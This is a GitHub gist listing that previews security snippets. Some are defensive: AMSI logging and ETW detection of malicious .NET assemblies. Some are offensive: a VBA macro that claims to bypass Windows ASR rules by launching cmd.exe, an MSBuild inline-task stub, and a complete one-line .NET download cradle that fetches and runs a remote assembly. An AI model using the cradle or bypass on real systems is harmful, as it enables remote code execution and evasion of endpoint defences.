Skip to content

Instantly share code, notes, and snippets.

View byt3bl33d3r's full-sized avatar
🧛
This shit ain't nothing to me man

Marcello byt3bl33d3r

🧛
This shit ain't nothing to me man
View GitHub Profile
@TheWover
TheWover / LoadXSLFromMem.cs
Created June 9, 2019 14:47
Loads XSL files from memory (or disk) using the Microsoft.XMLDOM COM object.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
namespace TryCOMXSLLoad
{
class Program
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
<Target Name="Hello" >
<!-- Call ANY .NET API -->
<!--
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
@antronic
antronic / iphone-usb_tethering-to-rpi.md
Last active December 25, 2024 10:28
iPhone USB Tethering to RPi

iPhone Tethering to Raspberry Pi

Instruction

On RPi

  • sudo apt-get install usbmuxd
  • connect iPhone

On iPhone

  • Trust

@infosecn1nja
infosecn1nja / ASR Rules Bypass.vba
Last active April 27, 2025 22:13
ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub
@mattifestation
mattifestation / EnableAMSILogging.ps1
Last active October 29, 2022 14:28
Enables AMSI logging to the AMSI/Operational event log
$AutoLoggerName = 'MyAMSILogger'
$AutoLoggerGuid = "{$((New-Guid).Guid)}"
New-AutologgerConfig -Name $AutoLoggerName -Guid $AutoLoggerGuid -Start Enabled
Add-EtwTraceProvider -AutologgerName $AutoLoggerName -Guid '{2A576B87-09A7-520E-C21A-4942F0271D67}' -Level 0xff -MatchAnyKeyword ([UInt64] (0x8000000000000001 -band ([UInt64]::MaxValue))) -Property 0x41
@countercept
countercept / dotnet-runtime-etw.py
Last active August 22, 2023 16:02
A research aid for tracing security relevant events in the CLR via ETW for detecting malicious assemblies.
import time
import etw
import etw.evntrace
import sys
import argparse
import threading
class RundownDotNetETW(etw.ETW):
def __init__(self, verbose, high_risk_only):
@cobbr
cobbr / DotnetAssemblyDownloadCradle.cs
Created June 20, 2018 22:37
A download cradle for .NET assemblies.
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }
@jesugmz
jesugmz / multi-cloud-docker-swarm.md
Last active September 14, 2024 15:51
Create a simple multi cloud Docker cluster using Docker Swarm, Docker Machine and the three top cloud providers nowadays - Google Compute Engine, Microsoft Azure and AWS

Simple multi cloud Docker cluster using Docker Swarm

This guide explains how to create a simple multi cloud Docker cluster using Docker Swarm, Docker Machine and the three top cloud providers nowadays - Google Compute Engine, Microsoft Azure and AWS.

Prerequisites

This guide assumes you have a Linux host with Docker CE installed. If you are using Docker for Mac or Docker for Windows you can avoid the Docker Machine set up since it comes included.

Install Docker Machine

@sunhay
sunhay / tcp_monitor.c
Last active August 25, 2023 08:11
eBPF socket filter based tcptop
#include <uapi/linux/ptrace.h>
#include <uapi/linux/if_packet.h>
#include <net/sock.h>
#include <bcc/proto.h>
#define IP_TCP 6
#define ETH_HLEN 14
struct Key {
u32 src_ip; // source ip
@xpn
xpn / clr_via_native.c
Created April 11, 2018 21:34
A quick example showing loading CLR via native code
#include "stdafx.h"
int main()
{
ICLRMetaHost *metaHost = NULL;
IEnumUnknown *runtime = NULL;
ICLRRuntimeInfo *runtimeInfo = NULL;
ICLRRuntimeHost *runtimeHost = NULL;
IUnknown *enumRuntime = NULL;
LPWSTR frameworkName = NULL;